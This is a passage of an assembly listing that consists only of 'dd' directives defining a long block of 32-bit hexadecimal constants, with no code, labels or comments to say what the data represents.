		dd 0CD9A3B7Bh, 0B74FEFD0h, 0E1446E3Ah, 6B0340Bh, 0CEDE7D59h
		dd 0C016571h, 527A39E2h, 35DF27h, 3D765781h, 0C473FE1Dh
		dd 4C4D1215h, 9FCB2152h, 0CE1FDFE8h, 3092BC8Fh,	8F58E760h
		dd 211BB851h, 0EF1271E8h, 202DB9DAh, 5EA14517h,	1C9D1DA3h
		dd 0B6F9BABDh, 0A578C9B6h, 0A2B3D4B5h, 0B01D76C6h, 67D41BB6h
		dd 12A78481h, 882404E2h, 0BCA92946h, 6B82D388h,	1013562Fh
		dd 809BECA3h, 0DD87528h, 6F5F6E19h, 6107DC85h, 0EE39BDBFh
		dd 0B16F2A84h, 679BE370h, 0A847B993h, 46D8B4ABh, 0FD1AF716h
		dd 0CDF1FC07h, 0F6482253h, 5E073233h, 77DB8654h, 2683E851h
		dd 92EB1533h, 776EC5CDh, 0ADE16153h, 517711D8h,	0BC17D14Ch
		dd 56AE9531h, 0E6C5FA38h, 5C63584Dh, 23BE2060h,	0E7DF5655h
		dd 8A870D8Ah, 94310Eh, 32C00EC6h, 0C6A63274h, 0BEB127E8h
		dd 63CF77D1h, 0E81AB9D3h, 9D78389Fh, 0F58F2710h, 2262DF78h
		dd 6B8DE5AFh, 0D7169D22h, 646887B0h, 731B5FCDh,	0CC8DC719h
		dd 5E346F59h, 8EE2BBCBh, 0D57BDE58h, 2E4553h, 0B84C6759h
		dd 0DAE1D5D3h, 13FDC630h, 0B351103Fh, 0BB133C3Fh, 818F1FC5h
		dd 920B082Eh, 0CC45725Fh, 20FF62F8h, 0B14BE135h, 0CD325234h
		dd 16C241B8h, 0BB0A34E2h, 0B1A1BAF8h, 0B2DE0B25h, 8D6B5B6Ch
		dd 0FDC006Bh, 0EE02BBCEh, 0D988A711h, 3C844DDCh, 58EB4B7Eh
		dd 0E68DE2C9h, 2DA03BCh, 9790C677h, 898903F5h, 0B47EB222h
		dd 1D946148h, 7ADB7A40h
		dd 52ADAB21h, 82E96E65h, 0F49A28A0h, 0F4E061DDh, 2D74E485h
		dd 60F1FB55h, 0C29851E2h, 678FBFE5h, 8ACD3516h,	262DE8EEh
		dd 0DF85FC5Ch, 0A5CDAB6Eh, 0D44F0CEEh, 525B90Bh, 32DAC964h
		dd 249925B8h, 14E9B494h, 40E11EF4h, 0D9D6886Eh,	0F99F0388h
		dd 130F5E2Eh, 1377A352h, 0C353A92Fh, 9BA860C8h,	36EBB1E3h
		dd 0DF8CA10h, 0D65DED48h, 5911348Bh, 2F7B0DE7h,	9FA20740h
		dd 3E9D26D4h, 71B70915h, 7110D82Bh, 4035051Fh, 40BB5D9Ch
		dd 161F7ABAh, 0CEAA12C9h, 7FFA63E3h, 2F71BEB4h,	680597DFh
		dd 5978F4EEh, 0E9884426h, 0EB921643h, 4BCBD2D0h, 95DE35D9h
		dd 1DCE9DC6h, 3792DC1Dh, 0F92D2F5Bh, 6274B655h,	0A292D842h
		dd 10275B2Ch, 98029836h, 193000BCh, 0D6F74FFAh,	90411F44h
		dd 8B50510Bh, 9FA099D6h, 0C2323690h, 798D9179h,	0C84A374Ch
		dd 19880EEDh, 0DC3053h,	64E39A77h, 5F64FCD6h, 6F4608F9h
		dd 0AF478D5Ah, 25DE6D49h, 0D673E07Dh, 7EBAE412h, 7B449740h
		dd 87D38D87h, 87A74Eh, 907C20BBh, 5BA0AC00h, 0A78C025Fh
		dd 412FA7ABh, 0DF0521DCh, 670C285Dh, 0DC951F47h, 0AF04AE9Eh
		dd 0FD952C4h, 865445C0h, 0EFB9441Ch, 0BDB4B266h, 4B29EB41h
		dd 67387C74h, 6DA8521h,	8B4C79D5h, 0FFBBD3BAh, 0FF28CBE9h
		dd 2E605BBBh, 95BF59A7h, 2CCC0F04h, 0F1D5A594h,	0FED9DF15h
		dd 0C136E521h, 0E907AE56h, 0DF61E781h, 7549B189h, 0D35B2788h
		dd 863B4BF5h, 1A915E50h, 0ABA11342h, 5284351Ch,	445E2F25h
		dd 69040C99h, 740A436Ah, 3B23B44Dh, 0DB8D26B5h,	88B7578Dh
		dd 537276EAh, 0F04CD24Bh, 0BC4895A5h, 42152B9h,	0C897ED97h
		dd 23F57A65h, 2592C2C2h, 284C6F78h, 9E235B0Fh, 0CB403B18h
		dd 0EB7EFB14h, 3C8FB7F2h, 161E111Fh, 94A72FDEh,	1E395EA1h
		dd 11A96F7Ah, 6785E110h, 9214AB25h, 35D7880Eh, 0D8F03501h
		dd 5F94C19Ah, 0C3FD60EDh, 3ED3F319h, 7E668513h,	0F1340F1Ch
		dd 0ACF13142h, 0DF3FA3BFh, 2A6F54A7h, 61B6242Eh, 1DB1BFE2h
		dd 0DF6054EFh, 41CD27F1h, 75F449AAh, 0FAD0CA09h, 67CB8C7Ch
		dd 6F48E9Eh, 4529304Ah,	0FFA25122h, 0CCAA729Dh,	0F9E8E173h
		dd 22DED9EEh, 0C514AD87h, 29317161h, 2B0B0061h,	7C24CF64h
		dd 26312FE8h, 0C0C71DEBh, 9DF23934h, 0C01447B0h, 0C48C688Eh
		dd 0C0DAE4BDh, 81E420B9h, 840B71FCh, 7EB8FCD4h,	98BB7A4Ah
		dd 85CF26F1h, 96427E91h, 9E6AFCC9h, 0E996479Bh,	0A4029041h
		dd 0FE7CBED0h, 0E446C5EEh, 7F85170Ah, 0CAC99A5Fh, 58BF6B79h
		dd 200A5DEh, 76CDD0CBh,	0FA8A6469h, 26993A9Dh, 0AA538861h
		dd 4E1274C1h, 3269B6F5h, 345F8BBEh, 210DEABEh, 15DFFF86h
		dd 60ABC01Dh, 0D045ACB9h, 46810B93h, 30101450h,	0F16C67CBh
		dd 0AE28D7CFh, 0A514F3CBh, 0F3A38A52h, 39E7E217h, 8B53431Ch
		dd 0FD548F58h, 236D7478h, 58ED3354h, 0EE19A168h, 4FC92EF8h
		dd 0AD544A00h, 16335533h, 8013A60h, 0E5560CD7h,	24E1F220h
		dd 0E629EA6h, 0EA031D7Ch, 0F1A2504Ch, 23DF5D6Fh, 54E7DFDCh
		dd 1757A0AFh, 4F63298Ah, 3D1066C7h, 0CF69B03h, 0BEFE95C3h
		dd 778316D2h, 0ADADC43h, 0E62A0E41h, 0FA0A0055h, 0A15297CEh
		dd 18C20D2h, 64694334h,	618ECF5Ch, 91587326h, 0D32592A4h
		dd 681F62F4h, 6A6945D3h, 0D47DCBB8h, 7ECA2AFFh,	4C5687Ah
		dd 82E74029h, 0FC527A5Dh, 7D01BDDFh, 0F7B2B7A8h, 1B9B5BE2h
		dd 11FB0ADBh, 335BC8FFh, 354EFDFh, 0DFEE2339h, 184C7116h
		dd 2AF97F8Dh, 1AC682D2h, 7A872998h, 0E69266C8h,	8F19DB6Ah
		dd 380DCAECh, 416D6B1Bh, 0A4511B0Ah, 9D1C8901h,	94EBB93Ah
		dd 0F5FC3E15h, 0B857EF79h, 6CBFA22Eh, 619F344h,	1266F5B2h
		dd 4D933035h, 8F41FC81h, 0E4812643h, 91E9DF03h,	213C4155h
		dd 0E7489A99h, 3F79EFB6h, 577824DCh, 9467672Bh,	60091EF4h
		dd 0DF9B7C87h, 6E1EB35Ch, 0DEDCF3D6h, 5B59D063h, 8ED59C9Eh
		dd 6357B5F4h, 7C700452h, 3EB1D124h, 6C8AE0DAh, 0E3D8C4F7h
		dd 0CFAD9F74h, 1AC5309h, 62BFD726h, 0D66BD5B8h,	84AD9377h
		dd 49A06170h, 0CCE273F7h, 0CD3329DAh, 0B9D6622Eh, 1DC69C69h
		dd 80EDFEA1h, 6254A89Dh, 0DE071C9h, 6BF66A24h, 0AE52F259h
		dd 0AD370670h, 0E14DF94Fh, 847C77A0h, 0C0F3A53Bh, 0A1567C5h
		dd 94ABB338h, 0C4291455h, 21D308E5h, 0D3CD3C72h, 8B49D202h
		dd 99B6B664h, 883C7842h, 8589A0ABh, 397773B6h, 4BA2EC6h
		dd 97D4460Ah, 5BE8041Ah, 0BA26AD61h, 0EA5D9AC4h, 7EE0BEBBh
		dd 7597C959h, 2C434ED9h, 0D3D66B95h, 856B2BE2h,	0FBEDDD98h
		dd 0F27A731Ah, 884EC77Ah, 5336D008h, 0C30202D6h, 0DFA03A1Ch
		dd 67F459F8h, 9F7EC14h,	0CE1806F8h, 0D41424C4h,	0E44EC309h
		dd 0F0CE124Ch, 0EBB6A8D9h, 6E65D0BEh, 0EEBCE031h, 0D1278FABh
		dd 0C6A9A710h, 54F71E76h, 5A2E639h, 970B103Fh, 5744BD89h
		dd 9EC069E2h, 6BC97238h, 953C3D72h, 209E9C04h, 0B153F3E2h
		dd 3F99C8ADh, 6FF1F673h, 0D284CB5Bh, 4EF926A4h,	0B506F0DFh
		dd 0CB395300h, 813F8A6h, 9A19042Bh, 9F38F91Ah, 0AA1A203Ah
		dd 0FC15D72Ch, 6C1EC190h, 5B811F6Eh, 0BB5049D2h, 3F65A33Fh
		dd 9F66B33Ah, 6D651E10h, 0D019BC2Ah, 0A6974842h, 5D8EEDE6h
		dd 0B946B5F9h, 91782575h, 0B0604469h, 0CA23B6AAh, 3F525A05h
		dd 58E94F21h, 8B73A06Fh, 4B28241Ch, 5B9017C1h, 8CA4FC2Fh
		dd 566AA8F6h, 0A6B39C4Bh, 0DC7420F8h, 0ABAB682Eh, 0D293DCB3h
		dd 0BFAD6D60h, 0D7A516A1h, 5B258342h, 0F03B6769h, 0CCB211E6h
		dd 0BFC72729h, 628CBA11h, 6693EAABh, 210EB5Dh, 9598D626h
		dd 0CABA1A0Dh, 0F2CE9CC7h, 0A982D154h, 0F410F9D9h, 6B4B7ABAh
		dd 4D06ECF1h, 2BA751C6h, 2EFB3015h, 39270789h, 0A63B088h
		dd 0A90F2F0Fh, 5F8805E2h, 0CF66FA12h, 4E293DB4h, 46E17C52h
		dd 8ABF9EDAh, 68B348C5h, 20C273E1h, 605D40E9h, 8AEF2E3Ch
		dd 0ED5E1D77h, 8DA45E52h, 99D566C8h, 0F7E10844h, 36BD5634h
		dd 4D0C8775h, 59C04F5Ah, 0C7642A4h, 2BB62E14h, 2141ECB4h
		dd 75112514h, 34757611h, 38D495EFh, 0F4515E1Eh,	0EFEFB35Bh
		dd 0A5352B9Dh, 0A721F490h, 2438227Dh, 55EA78D8h, 2AB64EFBh
		dd 0F2D8822Ch, 0AE9F6209h, 2482CC8Ch, 93BE7BBDh, 9F501B24h
		dd 0FD6E7B20h, 0A0A05ED5h, 2268EBD2h, 0DA7833CAh, 0DC9508C7h
		dd 0A08190D4h, 0F4075B20h, 0F9A49A43h, 6A03C44Ah, 240058E4h
		dd 70C6DF1Dh, 6A89857Ch, 111B3511h, 6F743AB4h, 0C78D0913h
		dd 0F46C501Ch, 0CBFE3283h, 0CC9C34E0h, 718E392Eh, 0A9D6F169h
		dd 0E3861D07h, 0C8A4E703h, 4719E400h, 1E6A2F4Bh, 4F37B570h
		dd 47E54A43h, 763C30BBh, 2B285C45h, 88D913C0h, 47F41615h
		dd 4526B056h, 0E308D698h, 0FFBD72FCh, 6EF08570h, 7BEB9CDBh
		dd 0EC4EBBBh, 50488CC2h, 0C443DD86h, 0D54B9019h, 8D906F9Eh
		dd 8269E2EAh, 0CF5A0A4Fh, 1C7B601Dh, 11A655ACh,	0B7351840h
		dd 213E0h, 40CF4887h, 0D52097BDh, 7BE4D744h, 0A006EDC4h
		dd 75300460h, 13606E91h, 10CA3083h, 0F49EDF28h,	850DFE1Ch
		dd 48E27286h, 0B5D5CE45h, 2AAB3DC5h, 416DD607h,	0B8AB5F69h
		dd 971BF208h, 955520E8h, 679F8D7Ah, 64B70FF7h, 0F1CD582Ch
		dd 0B1C4E396h, 0D8F157C8h, 14B63B4h, 0F6FC34F2h, 9227CEA2h
		dd 0DCAA22D8h, 0CD85E45Ch, 1346AC5Ch, 0CE0B90E8h, 126C65BAh
		dd 0F0234A96h, 0C2837811h, 0DADB0126h, 0E7A2A3E0h, 4F3AF9Eh
		dd 0E0F6CC2Bh, 0E8E04C46h
		dd 0F0432115h, 0D47604D4h, 1FF0C1B8h, 7219D6EEh, 0E476EEA2h
		dd 0EAF12965h, 90E16D99h, 565194B0h, 3F369623h,	0DE1DD94h
		dd 0D8C56F05h, 0F8231547h, 6284EF5Bh, 699CE86h,	6CAE401Bh
		dd 0EDA69595h, 723C1D30h, 0E53570B8h, 0AA12DF1Dh, 87CDF358h
		dd 0B888AC51h, 4A387CACh, 0A8032A0Ch, 340205DFh, 0F376417h
		dd 80F8EC01h, 0ECF91A03h, 308E48AEh, 1414E5E1h,	5E5FD50Bh
		dd 638AC839h, 0E5D5038Fh, 0DAE6D355h, 0C5B616DBh, 421D6253h
		dd 7CBBEAE8h, 7AA0496Bh, 49654C47h, 64ABD2ADh, 442E26D3h
		dd 0E3BE15A4h, 614C6410h, 0C220166Ah, 9F46D610h, 0B29DF611h
		dd 0CB82AB05h, 0F4638995h, 94834CB3h, 0C9CE63EAh, 77555ECDh
		dd 0BC0ACDA0h, 59005232h, 0AA08BA49h, 42E894C9h, 0BE4A8D50h
		dd 0A2FFBCB8h, 82E4F3C2h, 87EB5BD5h, 92374977h,	12FC2A91h
		dd 47E5EDB7h, 2121535Ah, 29454F15h, 1DDB7752h, 0C7039DEFh
		dd 0C883A307h, 40D04EF2h, 9E80B602h, 0C64BD5ECh, 61BD5063h
		dd 22E6D801h, 0A3F48C31h, 8E31A00Fh, 3084485Ah,	5F4E7A7Dh
		dd 0CE8A3EA0h, 0C8BAE639h, 7DA8AD17h, 0DE6FB3F9h, 2F15BE76h
		dd 0A6F8336Bh, 6E4A8E2Fh, 20E69D1Ch, 465E59C3h,	550A0C8Eh
		dd 0D271B53Eh, 948BBBEEh, 38DFB8B5h, 89219873h,	10F5C824h
		dd 841C8DAh, 0BC3C4856h, 0E8D54435h, 0C8BF8F69h, 7A836296h
		dd 91AB19DFh, 20651CFAh, 697C1550h, 24151131h, 6DD03F43h
		dd 6581CFC9h, 0D09E811Bh, 59855A04h, 0A4426A50h, 3F6695B7h
		dd 0BAF78FE5h, 0D529B9EAh, 13E88625h, 50043A1Ah, 1FA712AAh
		dd 9567B1B9h, 0D8FD3827h, 0B6377685h, 0C094E10Eh, 20DD27B0h
		dd 0C0F937BCh, 1EC4861Dh, 0E258120Fh, 0A2E4E509h, 0BF12E28h
		dd 620A9A27h, 73BBF926h, 0B8859A3Fh, 0E0DC7C1Fh, 22EF0E32h
		dd 78A9233Eh, 345F78A3h, 75E18A39h, 20782A0Ah, 7B054EBAh
		dd 0F3F5CE0Bh, 0DD1973E9h, 0B28D6949h, 43911232h, 26E69647h
		dd 5C413D4Eh, 809A4D1h,	0FC99DEB2h, 0E69442EFh,	710FA023h
		dd 582C66ACh, 46F0E2ABh, 2DC94DC7h, 5B12D23Bh, 0D9092064h
		dd 6D01B61Bh, 0FFB42108h, 863AEE3h, 0C143F673h,	7B2B2355h
		dd 492855E5h, 0EFBEF6E8h, 24C10F3Ch, 0FD141BC6h, 0EE20339Fh
		dd 0DBB802F8h, 950B156Bh, 4EDE48D2h, 8FAC9B1Eh,	95D83823h
		dd 0ECC4A61Ah, 8B8EAC65h, 0FAAD6FB2h, 83ED3B34h, 711C503h
		dd 8A1136E2h, 5E1C88E4h, 67909E49h, 76DE813Ah, 103B4C8Bh
		dd 0C09FA4E7h, 0C357881Dh, 4BAE0F6Dh, 0A12B8F97h, 0F8E721F6h
		dd 0A591FC40h, 0E2D34CEFh, 0A94DB58Fh, 78803D50h, 0B911D93Eh
		dd 633F4B37h, 4C852CB4h, 77F1A3BDh, 233D08DDh, 41666581h
		dd 0C23D8899h, 0D48FCC12h, 0D25C1D07h, 0A04C4B56h, 4119F6A6h
		dd 0A3357ABFh, 944E678Ch, 0AE8F9CBEh, 7D5C4460h, 72406F75h
		dd 82B5D01Ch, 0F3ABBCEFh, 2C98CC8Fh, 0BCBF8FD1h, 0F5DBF368h
		dd 83285426h, 6BF3F97Ah, 0E110EBD8h, 4A69AC62h,	0D4EAFD09h
		dd 0B75BD5E7h, 9B5607C0h, 43613D1Dh, 8A27DA81h,	0DA4F8FA5h
		dd 0C23B86B6h, 1112F700h, 0CC7CEFDBh, 0ED788F2Fh, 81BB5522h
		dd 0F2012921h, 59207D1h, 0A48E1508h, 0DFDEACDCh, 0ED6C632h
		dd 8BA93EC7h, 0BDBB6D23h, 7D2A7F1Bh, 3E378181h,	42EDE2C3h
		dd 516EFB5Fh, 7E7DD24Ah, 0FAC6CEB4h, 6BCEA21Bh,	7991933Ah
		dd 0E675AD1Eh, 0C0F02620h, 4A508572h, 469B1BFEh, 120F978Ch
		dd 2AC69700h, 0DFC7589Fh, 0EC61603Bh, 3082976Ch, 2BDD4E7Ah
		dd 0D6F74F1Ah, 7DADC047h, 0D356E838h, 0C1C8D7A3h, 83651B56h
		dd 6E6E85E7h, 5DFC6662h, 0CB76CA25h, 3C433E9Ah,	0ACAAD06Eh
		dd 1E35A374h, 94ABEBA3h, 1F7C16B6h, 0B1D50AD4h,	0DE91A7E7h
		dd 476C60F9h, 0ECEF3FFEh, 1AAC4F28h, 7F2220E0h,	96CAA823h
		dd 5BA575C2h, 4EE18354h, 90962B98h, 0B2387F25h,	0E28A8386h
		dd 0BA44046Eh, 0BA6752Ah, 6B52D61h, 11A1B010h, 5F8A1782h
		dd 58C3E914h, 0DFBBD2C6h, 0C47863A6h, 0C65745CAh, 0C2E1C90Dh
		dd 0F9BDFEFh, 385D7175h, 60DA6033h, 0EF48CF8Bh,	5FCEAB1Eh
		dd 0B1CCCD6Ah, 7626041Ch, 0A36A7AF5h, 38EE49DAh, 50F137B8h
		dd 0B55F3FAAh, 0F9826AAFh, 0A9817BCEh, 0D20840C4h, 0A5AE967Dh
		dd 0B075B816h, 1CB9D116h, 0A20A7948h, 80955D60h, 0CFD110BAh
		dd 765E3594h, 0AE2F161Eh, 0C86208B0h, 7F59E56h,	0AC79D00h
		dd 7AC0BA78h, 1B1E792Eh, 0C7DBECAEh, 0A193DAB7h, 40CE9805h
		dd 394D1B2Ch, 0E3364F3Ch, 0F1B948DFh, 5A5028F2h, 0EF1073F6h
		dd 0AFDAF62Dh, 77329D78h, 319795F8h, 66F9310Bh,	0ABC63904h
		dd 1706AAh, 35ED7056h, 0E0524C99h, 9D40029Ch, 133213CAh
		dd 0BD7A38C2h, 2545AC9Bh, 8E15880h, 3BF23300h, 0E93F406Dh
		dd 1FD6AC9h, 0B2AE0BE3h, 6758AED4h, 28C5D0E5h, 6879E009h
		dd 0F26EF4EDh, 1F76E7h,	57481C6h, 1DA48070h, 0B783490Eh
		dd 0C4F449C0h, 7DD31262h, 0EFA1EDA4h, 80608A92h, 72C9433Bh
		dd 0C0D7BABFh, 0C5243673h, 0D1501217h, 36CF1CDAh, 980DB634h
		dd 0E487A397h, 0FB6EA14Ah, 12332072h, 69AE3941h, 9F378F60h
		dd 9B20CB33h, 7B50648h,	964CA9E1h, 8F7C919Ch, 91D8CB79h
		dd 747EE57Ah, 94F44EECh, 635749DFh, 48530CDAh, 85B1822Eh
		dd 0A08973DAh, 38EA75D8h, 141C591Ch, 491EA69h, 0F6170A7Eh
		dd 0FE99D27h, 609721BFh, 0B09E907Dh, 1277B2B6h,	71628C06h
		dd 0EA85EADCh, 0B109F6CEh, 924C1501h, 0A26E52FDh, 51CA033Bh
		dd 9C4AB3C1h, 0F0447001h, 95F5BA65h, 63577C57h,	0BA904561h
		dd 5E237DCCh, 13CD3BBCh, 1992241Dh, 357C590Dh, 35DCA81Bh
		dd 18706E08h, 110CE8FFh, 5627DB4Fh, 9FDB4097h, 3E807598h
		dd 0F243392Bh, 0CAB13509h, 96B0456Eh, 7A6E22D1h, 6D42C950h
		dd 4974CA53h, 0DC32059Eh, 22B48DD7h, 11E00A8Ch,	94DA134h
		dd 0DFB9783Ch, 9165B67Fh, 24742E04h, 0F4E874AEh, 79B9B957h
		dd 0A768D356h, 0A786338Bh, 0A3085C26h, 45898692h, 3A925459h
		dd 680DC508h, 4B9C7B52h, 0F8419CF5h, 71BF8ED8h,	4AAEF878h
		dd 92F26E58h, 0C75F6230h, 452B2C02h, 7B641DD0h,	83AF9BA4h
		dd 24B86D30h, 0BEEEBFACh, 425C4DAEh, 0CEECD50Bh, 103D36E6h
		dd 24A1B30h, 351DE0C6h,	8B19CA5h, 0FF5B47B9h, 1B6D5BC4h
		dd 198C38DDh, 1466939Eh, 0D099A102h, 4B6803B3h,	4A053254h
		dd 0FA5A5F95h, 953852F3h, 6F7D45A5h, 2A60E650h,	0E27947Eh
		dd 0E3432F95h, 12B792B8h, 4A841B6h, 40A25841h, 411A5293h
		dd 0E7837511h, 579177D2h, 3A7A6E18h, 0EAF0AFD5h, 7D8AA130h
		dd 0E303938Fh, 0CDB68D6h, 0AE10157h, 22B57B1Ch,	59AED8FDh
		dd 9321B394h, 9F634B9Ch, 0E39E652Bh, 5E8EC948h,	3E4FFB82h
		dd 0B95AF119h, 8F50DBF1h, 0DC3B4545h, 97ADC724h, 54FD9761h
		dd 9F32872h, 0C168D061h, 6C061B75h, 6B3B3DE2h, 6B9750CBh
		dd 0ED8B4562h, 229707E2h, 0B3C3D11Ah, 0DF3E43D5h, 0C602F034h
		dd 0F2839CBh, 1B50A451h, 2F6CAEC7h, 1F519726h, 0B7B7E850h
		dd 0BABFDE7Eh, 7A85DEF5h, 56C85C56h, 0AF92E23h,	0E16806FEh
		dd 3E933915h, 0D2397A35h, 0F2DD7DAh, 33C1653Eh,	0F103818Bh
		dd 217D1BE1h, 316A0822h, 9CD4FEA8h, 5D6DF3CEh, 0EA8A6DF6h
		dd 9D9F9836h, 51ADF6BEh, 579AD0A6h, 91C4A18Ah, 6AAB4A3Eh
		dd 0E59EB567h, 3F75D5DBh, 0AD592BDFh, 83045E5Bh, 127E3899h
		dd 4DED021Dh, 0FC68873Dh, 636536AFh, 0DED2D7F7h, 35F41D22h
		dd 0DCB744Fh, 0BCF61FEFh
		dd 0D1ECB98Ch, 92CBD6C1h, 0B0B533B6h, 6290937Bh, 89CD9A09h
		dd 40C8C18Fh, 6A9C2FF0h, 0CFE364ADh, 0E872C823h, 4C9521F0h
		dd 3EB05ADFh, 43A05364h, 55D30465h, 55B08537h, 6F672283h
		dd 3253B95Fh, 3C6FED60h, 1616100Ch, 72A69501h, 612930D2h
		dd 0CAC23D56h, 69D4AB8Ch, 909F8434h, 38F5EF3Eh,	0D32C0C73h
		dd 0B78B892Dh, 0B4D33D10h, 0EAD04001h, 0B480506Ah, 4FDFD9DAh
		dd 0D7DB342Fh, 3ED68431h, 0E09F1399h, 78E7CDCDh, 9403B188h
		dd 9331A9D7h, 0C0399260h, 4E535BA4h, 0CBC7044Ah, 4FFA21CFh
		dd 8D218BA1h, 86483391h, 0E9ECFA83h, 0EFDB1C9Bh, 6AB3BA34h
		dd 6C0BFA33h, 0F1B35E31h, 9C128822h, 6083D84Ah,	89A60A35h
		dd 0B30D4E39h, 28D717EAh, 72D5145Bh, 0A31DC05Ch, 438DEE03h
		dd 424583CBh, 9FC3AD05h, 0F2831029h, 7D173709h,	0E56E5737h
		dd 2B4652FBh, 71E67FA8h, 0EB174631h, 6AACB179h,	75D7B288h
		dd 18D137A8h, 843ECAA0h, 0FC8D824Eh, 8739E73Eh,	3F993D71h
		dd 0DBAB965Dh, 0B9E6AEA6h, 6BEF3A0Dh, 6F978F67h, 0F048757Dh
		dd 0F402F870h, 67966CDh, 0FC6CAD3Dh, 1988078Bh,	0AE85D137h
		dd 0B02F532h, 0F101541Fh, 0E00016EEh, 0C5FEF434h, 0F43251CEh
		dd 173B141Bh, 3232366Ch, 87A3998Fh, 8DBF6537h, 0C94D4A0Ah
		dd 295785DBh, 0B0EB123Ch, 4359C1C2h, 0A713D332h, 8D691A2Fh
		dd 4A7B0573h, 8F623FAAh, 0A28457BEh, 6AA4C3F9h,	3D372E2Ch
		dd 3461B81Fh, 657FEC2h,	34AA7960h, 741C7E42h, 23128233h
		dd 3A47CFE3h, 3B11F84Fh, 0D62E0EE0h, 0EC48B28Bh, 6D0A69DBh
		dd 0A1DA0FF3h, 13E45BFCh, 6E9B68C0h, 583C6DD4h,	3C4E156Dh
		dd 4C2518CFh, 163F261Fh, 0F5387B5Ch, 0E1E8FAF7h, 0C0177390h
		dd 6FA9CC4Fh, 0C319C3DCh, 0C93E5776h, 962D98EDh, 5B03AEE0h
		dd 92BA5695h, 394F38FCh, 0C889EA17h, 78FAD05Eh,	0BA2B59C5h
		dd 726C205Ah, 5B6A3C5Ch, 0A5CFCC2Ch, 0A80A8FCDh, 0AAE61B8h
		dd 0C7BB8DFEh, 7FAD09F1h, 22AEEAEAh, 3274AA76h,	0ACCBBFDFh
		dd 0B0E0F4BFh, 7C7C98D1h, 35D094BFh, 83C99FA8h,	0E0271BDFh
		dd 18A7AC4Ch, 0ACF68A2Ch, 27EC7316h, 874B786Eh,	0C1CE8600h
		dd 2907E767h, 1AED801Dh, 1F03BA66h, 57BC83EBh, 2EB6FF37h
		dd 3C87E3B2h, 72246565h, 0D09B0888h, 0F56EFD7Eh, 9D799941h
		dd 976C2E09h, 8FBC2477h, 0FD9D3C95h, 0AD9023CDh, 0FD1A562Ch
		dd 655FDFh, 284AACE8h, 0EAEAA545h, 4DDCF049h, 0C5726515h
		dd 6D85A766h, 92AB4D71h, 396337BBh, 4F8A07BAh, 0A946ACFh
		dd 0A84D8700h, 535CC82Bh, 2277E920h, 0D5ADED92h, 0ED146617h
		dd 0AA0DFA30h, 0CAC46EC8h, 0FC217471h, 6508A232h, 0B373985Eh
		dd 0A8076AA3h, 44E69DDFh, 9D1D5301h, 6B1A1D16h,	0F18FF759h
		dd 9D0F07FBh, 41F75AB4h, 24CF668Fh, 4CDF5DD9h, 5413BEh
		dd 0FC995684h, 8961FEDFh, 5132479Bh, 156C8357h,	0F203D35Ch
		dd 955539B4h, 60863FF7h, 11B75FCEh, 6E3B2668h, 0A78DDA48h
		dd 0FB6918F4h, 0B190A18h, 8F1D427Fh, 0F1F981FAh, 55708A98h
		dd 0CAEF7492h, 3E9B756Ah, 0BDC89B68h, 518C13FDh, 0F664BA55h
		dd 369D7576h, 0F6978479h, 87AAA38Dh, 0C30D76C0h, 512A6EE4h
		dd 0DA1DAC3h, 0D2E17134h, 9C02094Ch, 79314EADh,	68AD5C44h
		dd 0A1C3F771h, 0ADACEF2h, 82DFB60Bh, 71EBF399h,	940505DCh
		dd 987057B4h, 0CCCE468Eh, 8067BDA8h, 81C10A46h,	0B14F247Bh
		dd 235FEDECh, 4B22EE92h, 43082DF2h, 0F64B8B71h,	0BB3D06C6h
		dd 6A2252DFh, 0BA743976h, 82089325h, 2A810AA3h,	0E68E802Ch
		dd 0FDCE94Ch, 8C0A43D7h, 0CE06048h, 0BE66309Eh,	9E2ADEF3h
		dd 54196562h, 0F30C1291h, 43663309h, 6D9C12D9h,	0C22AF512h
		dd 126D3D38h, 595208D6h, 33F6FE1Ah, 0AEAABAAh, 34F95958h
		dd 28D06349h, 4984E2C7h, 0A8C87254h, 0D65D9BCh,	0E7B864AEh
		dd 77D6F86Eh, 0D8520DFDh, 67430D9Fh, 0FBFF7F2Dh, 0F2A54D77h
		dd 64DE70Bh, 20EF7240h,	0EC479E22h, 3AF027A3h, 0DF86453Ah
		dd 35056715h, 73E404D5h, 3832B33Ah, 0F27D8144h,	9E1AC83Ah
		dd 0E623E20Fh, 0B3707EA1h, 6B26964h, 4CDADB83h,	86FA0045h
		dd 11D0ED34h, 0DC0670E9h, 0CFB226E9h, 0FED8347Eh, 0D5FE775Bh
		dd 7BD01687h, 0B1786CF4h, 0C370F998h, 9FEFA33Ch, 0ADE26859h
		dd 26A017CFh, 3511A0DCh, 0AEC15554h, 82B95DE4h,	0F00F6404h
		dd 0FC94C1DCh, 68246221h, 0C1591DC4h, 740703DEh, 89F850D3h
		dd 0FFDBCB24h, 0C5C5A395h, 0A98226A9h, 39C93DABh, 29DDCA20h
		dd 75B53A9Fh, 8D95ECFDh, 32127F09h, 0B5950837h,	763EAEAh
		dd 82EAE31Ch, 0AD9FA17Eh, 0FF642634h, 0D5FB3D8Eh, 9709B142h
		dd 99E9D85h, 40E3DCCBh,	0AFD3EB2Eh, 0E1997552h,	0FFE5706Bh
		dd 1C129C21h, 0B7C228F5h, 0E9A1BE0Ch, 0DC4C9E8Dh, 0E99E6DF5h
		dd 0A65F6DA4h, 4162952Bh, 0F046B160h, 3710A960h, 7374A8h
		dd 7172ACAh, 0FE855FBCh, 2DB9E6DDh, 0A7767783h,	36B69F4Fh
		dd 0D4A1AFB8h, 855FEE8Fh, 0BBBEE554h, 85828EFFh, 0D589C3Dh
		dd 16682078h, 0CB91246h, 0CD94ABBAh, 6D17AD18h,	5D5EF86Ah
		dd 0AEDF07C1h, 0FAF0D2E6h, 0E1B7C7D7h, 0E2845B9Dh, 545664DFh
		dd 0D237CEBCh, 51B48D03h, 75D52B8Ch, 0E4F28BBFh, 546B5673h
		dd 6C8351BEh, 15FC2D26h, 0A80BB7DBh, 348D482Ch,	2C81B0DCh
		dd 0C9E67FF3h, 0BCC2B95Fh, 0F2E61C35h, 0BC10F5DCh, 0B2EDEB1Eh
		dd 21362C0Dh, 9C075E5Ah, 38049D1h, 0A04B0571h, 0FF3DB70Eh
		dd 7679966Ah, 36D3AD4Ch, 0C80C463Ah, 0B520E192h, 18E932F0h
		dd 2F4A8562h, 88A436D4h, 0ABE0C975h, 87DEA5AFh,	0F82A754Ah
		dd 509175C7h, 9F4BE87Dh, 23EA79BAh, 1900ACEh, 456C06F2h
		dd 27A3C2BAh, 77DAFDFCh, 0EFA0100Eh, 7631B626h,	67D04CD6h
		dd 0C6BC2BACh, 0EB4D601Eh, 74726575h, 5E9472C7h, 61D13241h
